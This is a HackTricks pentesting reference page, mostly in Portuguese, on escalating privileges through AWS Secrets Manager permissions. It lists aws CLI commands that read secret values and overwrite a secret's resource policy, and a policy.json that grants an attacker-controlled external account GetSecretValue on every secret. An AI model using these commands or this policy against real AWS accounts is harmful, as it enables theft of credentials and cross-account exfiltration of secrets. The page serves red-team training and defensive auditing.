AWS - Secrets Manager Privesc

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Secrets Manager

Para mais informações sobre Secrets Manager, consulte:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Um atacante com essa permissão pode obter o valor salvo dentro de um segredo no AWS Secretsmanager.

bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Impacto Potencial: Acesso a dados altamente sensíveis dentro do serviço AWS Secrets Manager.

warning

Observe que mesmo com a permissão secretsmanager:BatchGetSecretValue, um atacante também precisaria de secretsmanager:GetSecretValue para recuperar os segredos sensíveis.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Com as permissões anteriores, é possível dar acesso a outros principals/accounts (inclusive externos) para acessar o secret. Observe que, para read secrets encrypted com uma KMS key, o usuário também precisa ter access over the KMS key (more info in the KMS Enum page).

bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks